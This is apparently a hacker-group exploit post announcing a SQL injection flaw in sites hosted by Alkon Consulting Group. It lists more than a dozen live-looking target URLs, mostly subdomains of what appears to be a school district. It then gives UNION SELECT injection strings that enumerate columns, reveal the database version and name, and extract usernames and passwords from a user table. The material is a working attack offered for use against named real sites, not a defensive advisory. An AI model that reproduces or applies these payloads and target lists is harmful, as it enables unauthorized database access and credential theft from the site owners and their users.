|=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*-*-*-*-*=| |* ______ ____ __ __ | |* /\__ _\/\ _`\ /\ \/\ \ | |* \/_/\ \/\ \ \L\ \\ \ \_\ \ { Turki$ hackers } | |* \ \ \ \ \ _ <'\ \ _ \ | |* \ \ \ \ \ \L\ \\ \ \ \ \ | |* \ \_\ \ \____/ \ \_\ \_\ | |* \/_/ \/___/ \/_/\/_/ | |* | |* Skote_vahshat and bl4ck.viper | |=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*-*-*-*-*=| ========================================================================= \* [Title] :[Alkon Consulting Groupsql injection vulnerability]/* \* [Author] :[skote_vahshat] /* \* [Home] :[Http://turk-bh.ir] /* \* [Email] :[skote.vahshat@Gmail.Com] /* ========================================================================== /* /* /* /* Website Hosting provided by Alkon Consulting Group /* /* /* DB Server: MySQL /* version PHP : 5.2.6 /* Web Server : apache ,unix ,mod_ssl2.2 ,php ,.... /* /* =================================================================== /* [+]Exploit : /* http://www.target.com/page.php[SQLi] /* /* [+] (target ) /* [.] (Demo ) /* [+]http://bibich.lcsc.us/page.php?id=44[SQLi] /* [+]http://grimmer.lcsc.us/page.php?id=44 [SQLi] /* [+]http://www.lcsc.us/page.php?id=44 [SQLi] /* [+]http://kahler.lcsc.us/page.php?id=44 [SQLi] /* [+]http://lakecentralef.org/page.php?id=58 [SQLi] /* [+]http://homan.lcsc.us/page.php?id=44 [SQLi] /* [+]http://peifer.lcsc.us/page.php?id=44 [SQLi] /* [+]http://westlake.lcsc.us/page.php?id=11 [SQLi] /* [+]http://www.edmunds.com/page.php?id=11 [SQLi] /* [+]http://transport.lcsc.us/page.php?id=11 [SQLi] /* [+]http://watson.lcsc.us/page.php?id=136 [SQLi] /* [+]http://clark.lcsc.us/page.php?id=44 [SQLi] /* [+]http://help.lcsc.us/page.php?id=99 [SQLi] /* [+]http://kahler.lcsc.us/page.php?id=47 [SQLi] /* [+]http://lake-central.lcsc.us/page.php?id=17 [SQLi] /* [+] /* [+]inject: /* union+select+1,2,3,4,5,6,7,8,9,10,11,12,13 =>> column 2 and 3 /* union+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13 =>> version 5.0.92-community /* union+select+1,database(),3,4,5,6,7,8,9,10,11,12,13 =>> lcscus_lchs /* /* [+] (table) =>> user /* /* union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+user /* /* /* [+] column /* union+select+1,uname,pw,4,5,6,7,8,9,10,11,12,13+from+user /* /* =>>> Query and answers <<<= /* /* union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+user /* columna 2 and 3 /* 2/strong> /* 3 /* /* union+select+1,uname,pw,4,5,6,7,8,9,10,11,12,13+from+user /* /* username/strong> /* password /*--------------------------- tiwema


=================================================================================== |_***_|thanks: bl4ck.viper , dr.tofan , hellboy , netqurd , turk_server kingcope | |_***_| spical thnaks :all tbh member ,iraniyan hacker all turkiS hackers | ===================================================================================
3